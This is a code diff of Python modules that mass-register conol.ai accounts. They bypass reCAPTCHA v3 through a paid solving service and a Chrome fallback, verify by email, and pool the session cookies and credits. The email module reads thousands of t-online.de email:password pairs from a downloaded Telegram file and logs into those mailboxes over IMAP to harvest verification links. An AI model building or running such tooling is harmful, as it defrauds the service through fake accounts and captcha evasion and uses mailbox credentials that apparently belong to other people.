"""Existing paid path: RecaptchaV3TaskProxyless via api.anti-captcha.com."""
import requests
for key in ANTICAPTCHA_KEYS:
try:
resp = requests.post("https://api.anti-captcha.com/createTask", json={
"clientKey": key,
"task": {
"type": "RecaptchaV3TaskProxyless",
"websiteURL": BASE_URL,
"websiteKey": SITE_KEY,
"pageAction": action,
"minScore": 0.3,
}
}, timeout=30)
data = resp.json()
if data.get("errorId") != 0:
_log("createTask fail (%s...): %s" % (key[:8], data.get("errorDescription", "?")))
continue
task_id = data["taskId"]
deadline = time.time() + 90
while time.time() < deadline:
r = requests.post("https://api.anti-captcha.com/getTaskResult", json={
"clientKey": key, "taskId": task_id
}, timeout=15).json()
if r.get("status") == "ready":
token = r["solution"].get("gRecaptchaResponse", "")
if token:
return token
elif r.get("errorId", 0) != 0:
_log("getTaskResult error: %s" % r.get("errorDescription", ""))
break
time.sleep(3)
except Exception as e:
_log("anticaptcha exception (%s...): %s" % (key[:8], str(e)[:120]))
return None
# ------------------------------------------------------------------- chain
_SOLVERS = {"chrome_cdp": solve_chrome_cdp, "anticaptcha": solve_anticaptcha}
def solve(action: str, skip: "set|None" = None) -> Optional[str]:
"""Try each configured provider in order; first non-empty token wins.
`skip` names providers to bypass this round — used to ESCALATE when the
server rejects a token (CAPTCHA_VERIFICATION_FAILED): a freshly-created
Chrome profile mints a low reCAPTCHA-v3 score, so we skip chrome_cdp and
fall through to the paid AntiCaptcha path instead of burning attempts on
tokens the server keeps rejecting. The provider that produced the last
token is exposed via LAST_PROVIDER so the caller knows whom to skip.
"""
skip = skip or set()
for name in PROVIDERS:
if name in skip:
continue
fn = _SOLVERS.get(name)
if fn is None:
_log("unknown captcha provider %r — skipped" % name)
continue
tok = fn(action)
if tok:
global LAST_PROVIDER
LAST_PROVIDER = name
return tok
_log("provider %s returned nothing for action=%s" % (name, action))
# every non-skipped provider failed — retry ignoring the skip list once
if skip:
_log("all non-skipped providers exhausted; retrying full chain")
return solve(action, skip=None)
return None
if __name__ == "__main__":
# self-test: python conol_captcha.py [action]
act = sys.argv[1] if len(sys.argv) > 1 else "sign_up"
t0 = time.time()
tok = solve(act)
if tok:
print("OK action=%s len=%d time=%.1fs providers=%s token=%s...%s"
% (act, len(tok), time.time() - t0, PROVIDERS, tok[:24], tok[-12:]))
else:
print("FAIL action=%s time=%.1fs providers=%s" % (act, time.time() - t0, PROVIDERS))

248
providers/conol_emails.py Normal file
View File

@@ -0,0 +1,248 @@
"""conol_emails.py — email provider abstraction for conol registration.
Providers:
gmail — plus-alias on one mailbox (YOUR_EMAIL_LOCAL+conol<SUFFIX>@gmail.com), IMAP gmail
tonline — dedicated @t-online.de mailboxes from working_mails.txt (email:password),
IMAP secureimap.t-online.de:993 (login verified live 2026-10-03)
Config (config.json -> emails section, all optional):
{"gmail": {"enabled": true},
"tonline": {"enabled": true,
"creds_file": "C:/Users/User/Downloads/Telegram Desktop/working_mails.txt",
"state_file": "tonline_state.json",
"imap_host": "secureimap.t-online.de"}}
Public API:
providers() -> list[str] enabled provider ids
next_address(tag, provider=None) -> dict|None {"address","provider", ...} — reserves it
wait_for_verify_link(res, since_epoch, timeout, pattern) -> url|None
"""
from __future__ import annotations
import email as email_module
import email.utils
import imaplib
import json
import os
import quopri
import re
import ssl
import threading
import time
from pathlib import Path
from typing import Optional
_ROOT = Path(__file__).resolve().parent
def _cfg() -> dict:
p = _ROOT / "config.json"
try:
return json.loads(p.read_text(encoding="utf-8")) if p.exists() else {}
except Exception:
return {}
_E = _cfg().get("emails", {}) or {}
_REG = _cfg().get("registration", {}) or {}
GMAIL_CFG = _E.get("gmail", {}) or {}
TONLINE_CFG = _E.get("tonline", {}) or {}
# gmail identity comes from conol_secrets (config.json -> gmail section)
try:
from conol_secrets import GMAIL, GMAIL_APP
except Exception: # pragma: no cover - standalone import guard
GMAIL, GMAIL_APP = "", ""
GMAIL_PREFIX = _REG.get("email_prefix") or (GMAIL.split("@")[0] if GMAIL else "")
GMAIL_DOMAIN = _REG.get("email_domain") or (GMAIL.split("@")[-1] if GMAIL else "gmail.com")
TONLINE_CREDS = TONLINE_CFG.get(
"creds_file", r"C:\Users\User\Downloads\Telegram Desktop\working_mails.txt")
TONLINE_STATE = _ROOT / TONLINE_CFG.get("state_file", "tonline_state.json")
TONLINE_IMAP = TONLINE_CFG.get("imap_host", "secureimap.t-online.de")
_lock = threading.Lock()
def providers() -> list:
out = []
if GMAIL and GMAIL_CFG.get("enabled", True):
out.append("gmail")
if TONLINE_CFG.get("enabled", True) and Path(TONLINE_CREDS).exists():
out.append("tonline")
return out
# ------------------------------------------------------------------ t-online
def _tonline_load_state() -> dict:
try:
return json.loads(TONLINE_STATE.read_text(encoding="utf-8"))
except Exception:
return {"offset": 0, "used": []}
def _tonline_save_state(st: dict) -> None:
tmp = TONLINE_STATE.with_suffix(".tmp")
tmp.write_text(json.dumps(st), encoding="utf-8")
tmp.replace(TONLINE_STATE)
def _tonline_next() -> Optional[dict]:
"""Reserve the next unused t-online mailbox. State file guards against reuse
across processes/restarts; the in-file `used` list is the source of truth."""
path = Path(TONLINE_CREDS)
if not path.exists():
return None
with _lock:
st = _tonline_load_state()
used = set(st.get("used", []))
offset = int(st.get("offset", 0))
picked = None
with open(path, encoding="utf-8", errors="replace") as f:
for idx, line in enumerate(f):
if idx < offset:
continue
line = line.strip()
if not line or line.startswith("#") or line.startswith("---"):
continue
if ":" not in line:
continue
mail, pwd = line.split(":", 1)
mail = mail.strip()
if not mail.endswith("@t-online.de") or not pwd.strip():
continue
if mail in used:
continue
picked = {"address": mail, "password": pwd.strip(),
"provider": "tonline", "imap_host": TONLINE_IMAP}
offset = idx + 1
break
if picked is None:
return None
used.add(picked["address"])
st["used"] = sorted(used)[-5000:] # keep the tail; offset protects the head
st["offset"] = offset
_tonline_save_state(st)
return picked
# -------------------------------------------------------------------- gmail
def _gmail_next(tag: str) -> Optional[dict]:
if not GMAIL or not GMAIL_APP:
return None
# GMAIL_PREFIX from config may already carry a "+conol" suffix
# ("YOUR_EMAIL_LOCAL+conol"); tags are "conol<suffix>" — keep exactly one "+"
# so addresses stay "YOUR_EMAIL_LOCAL+conol<suffix>@gmail.com" like the legacy pool.
base = GMAIL_PREFIX.split("+")[0]
addr = "%s+%s@%s" % (base, tag, GMAIL_DOMAIN)
return {"address": addr, "password": None, "provider": "gmail",
"imap_host": "imap.gmail.com", "imap_user": GMAIL, "imap_pass": GMAIL_APP}
# ---------------------------------------------------------------- dispatcher
def next_address(tag: str, provider: str = None) -> Optional[dict]:
"""Reserve an address for a new conol account.
provider: 'gmail' | 'tonline' | None (first enabled, gmail first).
Returns dict with address/provider/imap creds, or None if exhausted/disabled.
"""
order = [provider] if provider else providers()
for p in order:
if p == "gmail":
r = _gmail_next(tag)
elif p == "tonline":
r = _tonline_next()
else:
continue
if r:
return r
return None
def mark_used(res: dict) -> None:
"""Confirm a reserved address is permanently consumed.
t-online addresses are already written to the state file at reserve time, so
this only matters for bookkeeping (e.g. an address that turned out to be
already registered on conol must never be handed out again — it is not,
because reserve() persisted it; this call is an explicit no-op hook)."""
pass
def wait_for_verify_link(res: dict, since_epoch: float, timeout: int = 180,
url_re: str = None) -> Optional[str]:
"""Poll the provider mailbox for the conol verification link.
res: the dict from next_address(). gmail matches on the alias in To:;
tonline matches on any conol mail (the box is dedicated).
"""
pattern = re.compile(url_re or (
r"https://conol\.ai/api/auth/verify-email\?token=([^&\s\"'<>]+)"
r"(?:&amp;|&)callbackURL=([^\s\"'<>]+)"), re.IGNORECASE)
host = res.get("imap_host", "imap.gmail.com")
user = res.get("imap_user") or res["address"]
pwd = res.get("imap_pass") or res.get("password") or ""
target = res["address"].lower()
deadline = time.time() + timeout
while time.time() < deadline:
mail = None
try:
mail = imaplib.IMAP4_SSL(host, 993,
ssl_context=ssl.create_default_context(), timeout=20)
mail.login(user, pwd)
mail.select("INBOX")
status, data = mail.search(None, 'FROM "Conol"')
if status != "OK" or not data or not data[0]:
time.sleep(4)
continue
for message_id in reversed(data[0].split()[-30:]):
status, rows = mail.fetch(message_id, "(RFC822)")
if status != "OK" or not rows or not isinstance(rows[0], tuple):
continue
raw = rows[0][1]
message = email_module.message_from_bytes(raw)
if res.get("provider") == "gmail":
to_header = str(message.get("To", ""))
if target not in to_header.lower():
continue
message_ts = email_module.utils.mktime_tz(
email_module.utils.parsedate_tz(str(message.get("Date", ""))))
if message_ts and message_ts < since_epoch - 30:
continue
decoded = quopri.decodestring(raw).decode("utf-8", errors="replace")
m = pattern.search(decoded)
if m:
token = m.group(1).replace("=\r\n", "").replace("=\n", "")
callback = m.group(2).replace("=\r\n", "").replace("=\n", "")
return ("https://conol.ai/api/auth/verify-email?token=%s&callbackURL=%s"
% (token, callback))
except Exception:
pass
finally:
if mail is not None:
try:
mail.logout()
except Exception:
pass
time.sleep(4)
return None
if __name__ == "__main__":
import sys
print("providers:", providers())
cmd = sys.argv[1] if len(sys.argv) > 1 else "peek"
if cmd == "peek":
for p in providers():
r = next_address("peek%d" % int(time.time()), provider=p)
print(p, "->", (r or {}).get("address"))
elif cmd == "reserve":
p = sys.argv[2] if len(sys.argv) > 2 else None
r = next_address("t%d" % int(time.time() * 1000) % 10**8, provider=p)
print(json.dumps({k: v for k, v in (r or {}).items() if "pass" not in k.lower()}))

759
providers/conol_register.py Normal file
View File

@@ -0,0 +1,759 @@
#!/usr/bin/env python3
"""
conol_register.py — Pilot registration of new conol.ai accounts (max 5).
Strategy: HTTP-only registration (AntiCaptcha reCAPTCHA v3 + IMAP verification).
No browser needed. Creates N new accounts via plus-alias.
Usage:
python conol_register.py --count 5 # pilot 5 accounts (default)
python conol_register.py --count 1 # single account
"""
import atexit
import subprocess
import json
import os
import time
import logging
import re
import imaplib
import email as email_module
import quopri
import ssl
import sys
from pathlib import Path
from typing import Optional
from urllib.parse import unquote
import requests
# Log lines carry ✅/❌. When stdout is a file rather than a tty the encoding comes from
# the locale (cp1251/cp866 on this box) and the first emoji raises UnicodeEncodeError,
# killing an unattended run. Setting PYTHONIOENCODING from inside the process is too late
# — the interpreter reads it at startup — so reconfigure the streams directly. The
# supervisor also passes -X utf8 and PYTHONIOENCODING; this covers every other launcher.
for _stream in (sys.stdout, sys.stderr):
try:
_stream.reconfigure(encoding="utf-8", errors="replace")
except (AttributeError, ValueError):
pass
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
log = logging.getLogger("conol_register")
# ─── constants ──────────────────────────────────────────────────────────────
BASE_DIR = Path(__file__).resolve().parent
POOL_FILE = BASE_DIR / "conol_accounts_pool.jsonl"
PID_FILE = BASE_DIR / "conol_register_run.pid"
# credentials load from config.json / env — see conol_secrets.py
from conol_secrets import ( # noqa: E402
GMAIL, GMAIL_APP, PASSWORD, SITE_KEY, BASE_URL, ANTICAPTCHA_KEYS,
)
import conol_captcha # noqa: E402 free chrome_cdp -> paid anticaptcha chain
import conol_emails # noqa: E402 gmail plus-alias + t-online.de dedicated boxes
def solve_captcha(action: str, skip: "set|None" = None) -> Optional[str]:
"""Solve reCAPTCHA v3 through the provider chain (free Chrome CDP first,
paid AntiCaptcha fallback). `skip` escalates past a provider whose token
the server just rejected. See conol_captcha.py for the order/config."""
return conol_captcha.solve(action, skip=skip)
def new_client() -> "requests.Session":
"""One HTTP session for the WHOLE registration chain.
better-auth sets a session cookie on POST /api/invites/register and
/api/auth/send-verification-email only succeeds when that cookie is
presented. The previous code used a fresh `requests.post` per step, so the
cookie was dropped and 3/5 pilot accounts died with
"send verification email failed" even though the account had been created.
"""
session = requests.Session()
session.headers.update({
"Accept": "application/json",
"User-Agent": ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/140.0 Safari/537.36"),
"Origin": BASE_URL,
})
return session
def _log_failure(step: str, resp) -> None:
"""Never swallow a non-2xx: the body is the only diagnostic conol gives us."""
log.warning("%s failed: HTTP %s %s", step, resp.status_code, resp.text[:220].replace("\n", " "))
def sign_in(email: str, captcha_token: str, client=None) -> Optional[dict]:
"""POST /api/auth/sign-in/email. Returns session data dict or None."""
http = client or requests
resp = http.post(f"{BASE_URL}/api/auth/sign-in/email", json={
"email": email, "password": PASSWORD,
"callbackURL": "/home", "rememberMe": True,
}, headers={
"x-captcha-response": captcha_token,
"Content-Type": "application/json",
"Referer": f"{BASE_URL}/login",
}, timeout=20)
if resp.status_code != 200:
_log_failure(f"sign-in {email[:34]}", resp)
return None
data = resp.json()
# The usable credential is the COOKIE value: "<token>.<base64 signature>" (~85
# chars). The response body's "token" is the bare 32-char session id and
# get-session rejects it, so it must never be treated as a fallback.
# With a shared requests.Session the cookie often lands in the session jar
# rather than resp.cookies, so check both.
session_token = resp.cookies.get("__Secure-better-auth.session_token")
if not session_token:
jar = getattr(http, "cookies", None)
if jar is not None:
session_token = jar.get("__Secure-better-auth.session_token")
if not session_token:
body_token = data.get("token") or ""
log.warning("sign-in 200 for %s but no session cookie (body token %d chars is "
"unusable for get-session)", email[:34], len(body_token))
return None
return {"session_token": session_token, "user": data.get("user", {})}
def register_account(email: str, name: str, captcha_token: str, client=None) -> Optional[dict]:
"""POST /api/invites/register. Returns response dict or {"error": ...}."""
http = client or requests
resp = http.post(f"{BASE_URL}/api/invites/register", json={
"token": None, "email": email, "password": PASSWORD,
"name": name, "referrer_share_id": None,
}, headers={
"x-captcha-response": captcha_token,
"Content-Type": "application/json",
"Referer": f"{BASE_URL}/sign-up",
}, timeout=20)
if resp.status_code in (200, 201):
try:
return resp.json()
except ValueError:
return {"ok": True, "raw": resp.text[:200]}
_log_failure(f"register {email[:34]}", resp)
try:
err = resp.json()
# Include the machine code so callers can classify a CAPTCHA_VERIFICATION_FAILED
# rejection (retryable with a fresh token) from a hard validation error. The
# human message alone ("Human verification failed") does not contain "CAPTCHA".
msg = err.get("error") or resp.text[:200]
code = err.get("code") or ""
return {"error": f"{msg} [{code}]" if code else msg}
except ValueError:
return {"error": f"HTTP {resp.status_code}: {resp.text[:200]}"}
def send_verification_email(email: str, captcha_token: str, client=None) -> bool:
"""POST /api/auth/send-verification-email. Requires the register session cookie."""
http = client or requests
resp = http.post(f"{BASE_URL}/api/auth/send-verification-email", json={
"email": email, "callbackURL": "/home",
}, headers={
"x-captcha-response": captcha_token,
"Content-Type": "application/json",
"Referer": f"{BASE_URL}/sign-up",
}, timeout=20)
if resp.status_code in (200, 201):
return True
_log_failure(f"send-verification-email {email[:34]}", resp)
return False
def wait_for_verify_link(target_alias: str, since_epoch: float, timeout: int = 180) -> Optional[str]:
"""Poll Gmail IMAP for verification link. Returns URL or None."""
deadline = time.time() + timeout
while time.time() < deadline:
mail = None
try:
mail = imaplib.IMAP4_SSL("imap.gmail.com", 993,
ssl_context=ssl.create_default_context(), timeout=20)
mail.login(GMAIL, GMAIL_APP)
mail.select("INBOX")
status, data = mail.search(None, 'FROM "Conol"')
if status != "OK" or not data or not data[0]:
time.sleep(4)
continue
for message_id in reversed(data[0].split()[-30:]):
status, rows = mail.fetch(message_id, "(RFC822)")
if status != "OK" or not rows or not isinstance(rows[0], tuple):
continue
raw = rows[0][1]
message = email_module.message_from_bytes(raw)
to_header = str(message.get("To", ""))
if target_alias.lower() not in to_header.lower():
continue
message_ts = email_module.utils.mktime_tz(
email_module.utils.parsedate_tz(str(message.get("Date", ""))))
if message_ts and message_ts < since_epoch - 30:
continue
decoded = quopri.decodestring(raw).decode("utf-8", errors="replace")
match = re.search(
r"https://conol\.ai/api/auth/verify-email\?token=([^&\s\"'<>]+)(?:&amp;|&)callbackURL=([^\s\"'<>]+)",
decoded, flags=re.IGNORECASE)
if match:
token = match.group(1).replace("=\r\n", "").replace("=\n", "")
callback = match.group(2).replace("=\r\n", "").replace("=\n", "")
return f"https://conol.ai/api/auth/verify-email?token={token}&callbackURL={callback}"
except:
pass
finally:
if mail is not None:
try:
mail.logout()
except:
pass
time.sleep(4)
return None
def verify_email(verify_url: str, client=None) -> bool:
"""GET verify-email URL. Returns True if verification succeeded."""
http = client or requests
resp = http.get(verify_url, headers={"Accept": "application/json"},
timeout=20, allow_redirects=False)
if resp.status_code in (200, 302, 307):
return True
_log_failure("verify-email", resp)
return False
def verify_session(session_token: str) -> Optional[dict]:
"""GET /api/auth/get-session. Returns user or None."""
import requests
resp = requests.get(f"{BASE_URL}/api/auth/get-session",
cookies={"__Secure-better-auth.session_token": session_token},
headers={"Accept": "application/json"}, timeout=15)
if resp.status_code == 200:
return resp.json().get("user")
return None
def get_balance(session_token: str) -> Optional[float]:
"""GET /api/billing/balance. Returns total or None."""
import requests
resp = requests.get(f"{BASE_URL}/api/billing/balance",
cookies={"__Secure-better-auth.session_token": session_token},
headers={"Accept": "application/json"}, timeout=15)
if resp.status_code == 200:
return resp.json().get("total")
return None
def save_cookies(name: str, session_token: str) -> str:
"""Save cookies atomically; never truncate an existing file on empty input.
Same defect that was fixed in conol_refresh.py: opening the target with "w"
before validating anything turned a working cookie file into `[]` on a failed
refresh (observed: cookies_conol337718.json 629 B -> 2 B).
"""
cookies_path = BASE_DIR / f"cookies_{name.lower()}.json"
if not session_token:
log.warning("save_cookies: empty token for %s — leaving %s untouched", name, cookies_path.name)
return str(cookies_path)
cookies = [{
"name": "__Secure-better-auth.session_token",
"value": session_token,
"domain": "conol.ai",
"path": "/",
"expires": int(time.time() + 604800),
"httpOnly": True,
"secure": True,
"sameSite": "Lax",
}]
tmp_path = cookies_path.with_name(cookies_path.name + ".tmp")
with open(tmp_path, "w", encoding="utf-8") as f:
json.dump(cookies, f, indent=2)
f.flush()
tmp_path.replace(cookies_path)
return str(cookies_path)
def append_to_pool(entry: dict):
"""Append one account to pool file."""
with open(POOL_FILE, "a", encoding="utf-8") as f:
f.write(json.dumps(entry, ensure_ascii=False) + "\n")
def register_one(suffix: int, provider: str = None) -> dict:
"""Register one account. Returns result dict.
provider: 'gmail' | 'tonline' | None (first enabled). The address AND its
mailbox credentials come from conol_emails.next_address() so the verify-link
poller knows which IMAP server/box to read."""
mailres = conol_emails.next_address(f"conol{suffix}", provider=provider)
if mailres is None:
return {"name": f"Conol{suffix}", "email": None, "started_at": time.time(),
"error": f"no email address available (provider={provider})"}
email = mailres["address"]
# 10 digits, not 6: save_cookies keys the file on this name, so a 6-digit space
# is only 10^6 and a ~370-attempt campaign has a ~6-7% birthday chance of two
# pool rows pointing at one cookies_conol*.json (the second silently overwrites
# the first, and it surfaces later as a token belonging to another account).
name = f"Conol{str(suffix).zfill(10)[-10:]}"
started = time.time()
result = {"name": name, "email": email, "started_at": started,
"email_provider": mailres["provider"]}
captcha_cost = 0
log.info("=" * 50)
log.info("Registering %s (%s)", name, email)
client = new_client()
# Step 1: register. Retry with a FRESH token per attempt: AntiCaptcha v3
# tokens are a score lottery, and the same endpoint reliably passes on
# attempt 2-3. On EMAIL_ALREADY_REGISTERED (a t-online box used by an earlier
# campaign) we hop to a fresh address instead of burning attempts — the pool
# of 17k .de boxes has an unknown fraction already taken.
reg = None
email_hops = 0
MAX_EMAIL_HOPS = 12
attempt = 0
skip_providers = set()
while attempt < 3:
attempt += 1
captcha = solve_captcha("sign_up", skip=skip_providers or None)
used_provider = conol_captcha.LAST_PROVIDER
if not captcha:
log.warning("sign_up captcha solve failed (attempt %d/3)", attempt)
time.sleep(3)
continue
captcha_cost += 1
candidate = register_account(email, name, captcha, client)
if candidate is not None and "error" not in candidate:
reg = candidate
break
err_text = str((candidate or {}).get("error", ""))
upper = err_text.upper()
if "ALREADY REGISTERED" in upper or "ALREADY EXISTS" in upper or "EMAIL_ALREADY" in upper:
# This mailbox is taken on conol. Mark it used and hop to the next one.
email_hops += 1
if email_hops > MAX_EMAIL_HOPS:
log.error("%d consecutive already-registered addresses — provider pool exhausted", email_hops)
return {**result, "captcha_solves": captcha_cost,
"error": "all reserved addresses already registered (%d hops)" % email_hops}
log.warning("address %s already registered on conol — reserving next (hop %d/%d)",
email, email_hops, MAX_EMAIL_HOPS)
conol_emails.mark_used(mailres)
mailres = conol_emails.next_address("conol%d" % int(time.time() * 1000), provider=mailres["provider"])
if mailres is None:
return {**result, "captcha_solves": captcha_cost,
"error": "email provider exhausted while skipping registered addresses"}
email = mailres["address"]
result["email"] = email
result["email_provider"] = mailres["provider"]
name = "Conol" + str(int(time.time() * 1000) % 10_000_000_000).zfill(10)[-10:]
attempt -= 1 # a hop is not a failed attempt against the new address
client = new_client()
continue
log.warning("register attempt %d/3 rejected: %s", attempt, err_text[:160] or "no response")
if err_text and "CAPTCHA" not in upper:
# Registration is not idempotent. A 403 CAPTCHA_VERIFICATION_FAILED happens
# BEFORE the account exists, so retrying is safe; a 400/409/422 (validation)
# or a 429 does not benefit from another solve and retrying it just burns
# budget while masking real state.
log.error("non-captcha rejection — not retrying: %s", err_text[:160])
return {**result, "captcha_solves": captcha_cost, "error": err_text[:200]}
# The server rejected THIS token. Escalate: stop using the provider that
# minted it (a fresh Chrome profile scores too low for reCAPTCHA v3) and
# let the next attempt fall through to the paid AntiCaptcha path.
if "CAPTCHA_VERIFICATION_FAILED" in upper and used_provider:
skip_providers.add(used_provider)
log.warning("token from %s rejected by server — escalating past it (skip=%s)",
used_provider, sorted(skip_providers))
time.sleep(5)
if reg is None:
return {**result, "captcha_solves": captcha_cost,
"error": "register failed after 3 attempts"}
log.info("✅ Register OK")
# Step 2: send verification email — same retry discipline, fresh token each time.
sent = False
for attempt in range(1, 4):
captcha = solve_captcha("send_verification_email")
if not captcha:
log.warning("send_verification_email captcha solve failed (attempt %d/3)", attempt)
time.sleep(3)
continue
captcha_cost += 1
if send_verification_email(email, captcha, client):
sent = True
break
log.warning("send-verification attempt %d/3 rejected", attempt)
time.sleep(5)
if not sent:
return {**result, "captcha_solves": captcha_cost,
"error": "send verification email failed after 3 attempts"}
log.info("✅ Verification email sent")
# Step 3: Wait for verify link in the provider mailbox (up to 3 min)
verify_url = conol_emails.wait_for_verify_link(mailres, started, 180)
if not verify_url:
return {**result, "captcha_solves": captcha_cost,
"error": "no verify email found in %s mailbox (3 min timeout)"
% mailres["provider"]}
log.info("✅ Got verify link: %s...", verify_url[:80])
# Step 4: Verify email via HTTP
if not verify_email(verify_url, client):
return {**result, "captcha_solves": captcha_cost, "error": "email verification failed"}
# Not "Email verified": verify_email() accepts any 200/302/307 without inspecting
# Location, and better-auth 302s on failure too. The authoritative gate is
# user.emailVerified from get-session at Step 6 — in a 14-hour unattended log a
# premature success line is how a batch of unusable accounts goes unnoticed.
log.info("✅ verify-email responded (authoritative emailVerified check follows at sign-in)")
# Step 5: Sign in (with retry)
session_data = None
for retry in range(3):
captcha = solve_captcha("sign_in")
if not captcha:
continue
captcha_cost += 1
session_data = sign_in(email, captcha, client)
if session_data:
break
time.sleep(5)
if not session_data:
return {**result, "captcha_solves": captcha_cost,
"error": "sign-in failed after 3 retries"}
session_token = session_data["session_token"]
# Step 6: Verify session. `verify_email()` accepts any 302 without checking
# Location, so emailVerified here is the only real proof the account is usable
# rather than merely able to sign in.
user = verify_session(session_token)
if not user:
return {**result, "captcha_solves": captcha_cost,
"error": "session invalid after sign-in"}
if user.get("email", "").lower() != email.lower():
return {**result, "captcha_solves": captcha_cost,
"error": f"email mismatch: {user.get('email')}"}
if not user.get("emailVerified"):
# Registration AND sign-in both worked, so this alias is real and
# recoverable — dropping it would manufacture another orphan on conol.ai
# that nobody can find later. Record it as a work-queue row instead:
# no session_token and no cookie file, so the importer's
# is_live = bool(session_token and expires > now) keeps it inactive and it
# never reaches ExtremeRouter as a usable account. A later pass can re-issue
# send-verification-email for exactly these rows and promote them.
append_to_pool({
"name": name, "email": email, "password": PASSWORD,
"cookies_path": "", "created_at": started,
"session_token": None, "token_expires": None,
"last_login": time.time(), "status": "unverified",
"credits": 0,
"email_provider": mailres["provider"],
"mailbox_password": mailres.get("password"),
})
log.warning("%s: session ok but emailVerified=false — queued as 'unverified'", name)
return {**result, "captcha_solves": captcha_cost,
"error": "emailVerified=false — queued as unverified for a later pass"}
# Step 7: Get balance
credits = get_balance(session_token)
elapsed = time.time() - started
# Step 8: Save cookies + pool
cookies_path = save_cookies(name, session_token)
pool_entry = {
"name": name, "email": email, "password": PASSWORD,
"cookies_path": cookies_path, "created_at": started,
"session_token": session_token, "token_expires": time.time() + 604800,
"last_login": time.time(), "status": "live",
"credits": credits or 0,
"email_provider": mailres["provider"],
"mailbox_password": mailres.get("password"),
}
append_to_pool(pool_entry)
log.info("✅ %s: email=%s, credits=%s, time=%.0fs, captcha_solves=%d",
name, email, credits, elapsed, captcha_cost)
return {
**result, "ok": True, "credits": credits,
"elapsed_s": round(elapsed, 1), "captcha_solves": captcha_cost,
}
# ─── unattended-run guards ────────────────────────────────────────────────────
# Budget exhaustion, a dead solver key, Gmail IMAP throttling and an IP block all
# present identically: solve_captcha returns None or the endpoint 403s, per
# account, forever. Without these guards a multi-hour run produces nothing while
# still looking alive.
MAX_CONSECUTIVE_FAILURES = 10
MIN_BUDGET_USD = 1.0
RESULTS_FILE = BASE_DIR / "conol_register_results.jsonl"
def solver_balances() -> dict:
"""Live AntiCaptcha balances — the log must report what can actually be spent,
not a hardcoded figure from whenever the script was written."""
out = {}
for idx, key in enumerate(ANTICAPTCHA_KEYS, start=1):
try:
resp = requests.post("https://api.anti-captcha.com/getBalance",
json={"clientKey": key}, timeout=20).json()
out[f"key{idx}"] = resp.get("balance") if resp.get("errorId") == 0 \
else f"error:{resp.get('errorCode')}"
except Exception as exc: # noqa: BLE001 - a probe must not kill the run
out[f"key{idx}"] = f"unreachable:{type(exc).__name__}"
return out
def append_result_line(result: dict):
"""One JSON line per attempt, written as it happens.
The in-memory `results` list is only summarised after the loop, so a death at
account 90 used to leave no record of which attempts failed or why.
"""
with open(RESULTS_FILE, "a", encoding="utf-8") as f:
f.write(json.dumps({**result, "ts": round(time.time(), 1)}, ensure_ascii=False) + "\n")
# A slot claim is authoritative only while the file is younger than this. The window
# must exceed the LONGEST legitimate hold: a 200-attempt round at ~70-140 s per attempt
# runs up to ~8 h, and conol_refresh rewrites the whole pool over a similar span. A
# window shorter than that would read a legitimate multi-hour holder as stale and
# green-light a second writer — the exact threat the slot exists to stop. A window this
# long is also what caps the worst case of a wedged claim (a pid Windows recycled onto a
# long-lived unrelated process, plus the deliberately fail-closed probe): refusal can
# never outlast the window, so an unattended campaign cannot be bricked by its own guard.
# Project-wide source of truth: conol_scale.slot_holder imports it lazily inside the
# function — a module-level import would let this module's logging.basicConfig win the
# root-logger configuration of whoever imports it.
SLOT_MAX_HOLD_SEC = 12 * 3600
def _pid_alive(pid: int) -> bool:
"""True if `pid` exists. Fail-closed: any probe error means "assume alive".
Do NOT reach for os.kill(pid, 0) here — on Windows CPython implements that as
OpenProcess(PROCESS_TERMINATE) + TerminateProcess(handle, sig), so signal 0 would
KILL the process it was meant to probe. tasklist is the only safe read-only check.
Its output is decoded defensively because this box emits non-UTF-8 bytes (0xff) in
some locales, which previously dropped a reader thread and yielded stdout=None; a
broken probe that reads as "dead" would let a second registrar start next to a
live one, which is the exact failure this guard exists to prevent.
"""
if pid <= 0:
return False
try:
proc = subprocess.run(["tasklist", "/FI", f"PID eq {pid}", "/NH"],
capture_output=True, timeout=20)
except Exception as exc: # noqa: BLE001 — probe failure must not look like "dead"
log.warning("pid probe for %s failed (%s) — assuming alive", pid, exc)
return True
out = (proc.stdout or b"").decode("utf-8", "replace")
# Whole-token match: the Mem Usage column can contain bare digits ("516 K") that a
# substring search would mistake for a pid.
return str(pid) in out.split()
def _write_pid_atomic(pid: int) -> None:
tmp = PID_FILE.with_suffix(".pid.tmp")
tmp.write_text(f"{pid}\n", encoding="utf-8")
os.replace(tmp, PID_FILE)
def acquire_pid_slot(owner: str = "registrar") -> bool:
"""Claim conol_register_run.pid; refuse to start if a live foreign pid holds it.
This file used to be written only by whoever launched the registrar, so a manual
launch left a stale pid behind and the supervisor's pid-oracle probed a long-dead
process forever. That left a SINGLE oracle — the run log's mtime — guarding against
two registrars appending to one JSONL pool and reading one Gmail mailbox over IMAP.
Owning the slot here makes the second writer impossible no matter who launches the
process, which the supervisor-side write cannot do. A pid left behind by taskkill /F
(no job object, so the child survives its parent, and atexit never runs) is detected
as stale on the next start and taken over.
Refusal also requires the claim to be FRESH (mtime < SLOT_MAX_HOLD_SEC): _pid_alive
fails closed on purpose and Windows recycles pids, so without the age term one stale
file whose pid got reused by a long-lived unrelated process would refuse every round
forever — an unattended campaign bricked by its own guard. The holder keeps its claim
fresh by rewriting the file once per account (see main()).
"""
me = os.getpid()
if PID_FILE.exists():
try:
other = int(PID_FILE.read_text(encoding="utf-8").split("\n", 1)[0].strip())
except (ValueError, OSError):
other = 0
try:
age = time.time() - PID_FILE.stat().st_mtime
except OSError:
age = float("inf") # cannot prove freshness -> treat as abandoned
if other == me:
log.info("re-acquiring own pid slot (pid %s)", me)
elif other and age < SLOT_MAX_HOLD_SEC and _pid_alive(other):
log.error("another %s (pid %s) already holds the slot (%.0fs old) — refusing "
"to start a second writer on %s", owner, other, age, POOL_FILE.name)
return False
else:
reason = (f"held longer than the {SLOT_MAX_HOLD_SEC}s max-hold window"
if other and age >= SLOT_MAX_HOLD_SEC else "pid not alive")
log.warning("taking over pid slot from pid %s (%s)", other, reason)
_write_pid_atomic(me)
return True
def release_pid_slot() -> None:
"""Drop the pid file, but only while it still holds OUR pid."""
me = os.getpid()
try:
if (PID_FILE.exists()
and PID_FILE.read_text(encoding="utf-8").split("\n", 1)[0].strip() == str(me)):
PID_FILE.unlink()
except OSError as exc:
log.warning("could not clear pid file: %s", exc)
def main():
import argparse
parser = argparse.ArgumentParser(description="Pilot conol.ai registration")
